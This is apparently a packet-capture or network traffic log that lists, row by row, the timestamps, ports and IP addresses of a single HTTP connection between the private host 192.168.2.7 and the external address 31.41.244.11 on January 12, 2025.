Jan 12, 2025 17:39:14.285343885 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285420895 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285432100 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285444021 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285464048 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285475016 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285485029 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.285485983 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285501003 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.285507917 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285517931 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285527945 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285538912 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285558939 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.285558939 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.285561085 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285573006 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285583019 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285586119 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.285586119 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.285595894 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285607100 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285619020 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285640001 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285645962 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.285645962 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.285681009 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.285681009 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.285718918 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285729885 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285736084 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285746098 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285758972 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285768986 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285782099 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285789013 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.285789013 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.285801888 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285813093 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285823107 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285834074 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285851002 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285855055 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.285855055 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.285866022 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285877943 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285883904 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.285890102 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285902023 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285903931 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.285912991 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285917997 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.285924911 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285938025 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285949945 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285960913 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285972118 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285974026 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.285974026 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.285974026 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.285988092 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.285993099 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.286005974 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.286012888 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.286017895 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.286031008 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.286042929 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.286053896 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.286067009 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.286077023 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.286077023 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.286077023 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.286077023 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.286223888 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.286223888 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.346427917 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.346488953 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.346539974 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.346609116 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.346625090 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.346625090 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.346664906 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.346698999 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.346751928 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.346751928 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.346755981 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.346807003 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.346812010 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.346843958 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.346877098 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.346893072 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.346893072 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.346910000 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.346916914 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.346960068 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.346993923 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.347011089 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.347012043 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.347028017 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.347048044 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.347064018 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.347095966 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.347129107 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.347145081 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.347145081 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.347145081 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.347167015 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.347199917 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.347232103 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.347244978 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.347244978 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.347244978 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.347265959 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.347300053 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.347340107 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.347340107 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.347340107 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.347378016 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.347429037 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.347462893 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.347493887 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.347493887 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.347496033 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.347529888 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.347543001 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.347543001 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.347563028 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.347596884 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.347615957 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.347615957 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.347625971 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.347657919 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.347692013 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.347704887 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.347704887 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.347704887 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.347726107 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.347757101 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.347767115 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.347767115 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.347800016 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.347836971 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.347871065 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.347899914 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.347904921 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.347940922 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.347943068 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.347943068 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.347981930 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.348016024 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.348031044 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.348031044 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.348052025 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.348117113 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.348133087 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.348171949 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.348185062 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.348200083 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.348213911 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.348248005 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.348267078 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.348267078 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.348279953 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.348299026 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.348311901 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.348361969 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.348371983 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.348397017 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.348401070 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.348429918 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.348463058 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.348490000 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.348490000 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.348496914 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.348531008 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.348558903 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.348560095 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.348563910 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.348597050 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.348630905 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.348634005 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.348660946 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.348664999 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.348697901 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.348701954 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.348783970 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.348783970 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.349107981 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.349140882 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.349178076 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.349225044 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.349225044 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.380162001 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.380213976 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.380256891 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.380311966 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.380353928 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.380364895 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.380412102 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.380413055 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.380462885 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.380470037 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.380491018 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.380544901 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.380547047 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.380547047 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.380595922 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.380619049 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.380630016 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.380681038 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.380682945 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.380682945 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.380728960 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.380739927 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.380778074 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.380786896 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.380831003 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.380841017 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.380878925 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.380924940 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.380925894 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.380971909 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.380971909 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.380974054 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.381027937 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.381052971 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.381058931 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.381081104 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.381110907 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.381122112 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.381145954 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.381174088 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.381217957 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.381217957 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.381217957 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.381222963 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.381257057 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.381284952 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.381299019 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.381299019 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.381318092 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.381339073 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.381352901 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.381381989 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.381405115 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.381405115 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.381413937 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.381445885 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.381473064 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.381473064 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.381475925 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.381509066 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.381546974 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.381575108 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.381589890 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.381589890 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.381589890 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.381608009 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.381644011 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.381649971 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.381649971 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.381673098 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.381705046 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.381736994 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.381741047 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.381741047 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.381741047 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.381767035 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.381783962 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.381800890 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.381840944 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.381844044 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.381844044 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.381874084 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.381906986 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.381926060 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.381926060 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.381938934 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.381972075 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.382004023 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.382004976 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.382004976 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.382042885 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.382054090 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.382054090 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.382080078 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.382112980 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.382124901 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.382124901 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.382145882 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.382179022 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.382205963 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.382206917 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.382240057 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.382249117 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.382249117 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.382276058 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.382277012 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.382277012 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.382304907 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.382337093 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.382345915 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.382345915 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.382370949 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.382390976 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.382401943 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.382411957 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.382436037 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.382458925 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.382469893 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.382479906 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.382503986 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.382531881 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.382545948 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.382545948 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.382565975 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.382600069 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.382611036 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.382611036 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.382632017 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.382643938 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.382666111 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.382694006 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.382719040 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.382719040 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.382725954 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.382740974 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.382761002 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.382792950 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.382822990 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.382822990 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.382827997 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.382953882 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.382953882 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.438755035 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.438817978 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.438872099 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.438905954 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.438941002 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.438975096 CET	80	49975	31.41.244.11	192.168.2.7
